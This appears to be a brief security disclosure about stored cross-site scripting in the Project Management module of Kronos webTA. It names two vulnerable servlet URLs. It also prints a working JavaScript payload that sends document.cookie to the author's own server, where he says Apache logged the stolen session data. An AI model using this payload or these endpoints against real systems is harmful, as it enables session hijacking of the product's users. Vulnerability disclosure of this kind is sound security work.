http://www.kronos.com/Products/webTA.htm webTA is used by thousands of fed. employees. I did a limited security review of a couple deployments. Because of certain contractual limitations I have been able to verify XSS in its Project Management module only, but I suspect it also exists in Vacation/Sick Leave Request module. URLs: /servlet/com.threeis.webta.H710selProject and /servlet/com.threeis.webta.H720editProjectInfo Use these URLs to create project descriptions. No hex or html encoding or anything fancy is necessary. Just type in the description field your favorite XSS stuff - it will work. I tested basic font changing html tags (<font color="red">test for XSS</font>), and JavaScript (<script>document.write('<img src="http://ip_of_my_server_on_my_laptop/cookie.cgi?'+document.cookie+'">')</ script>). On my laptop I had Apache listening, and collecting user session information into its logs. Yeah, it is remote, in case you are wondering. I no longer have the access to any webTA systems, and cannot verify anything else.
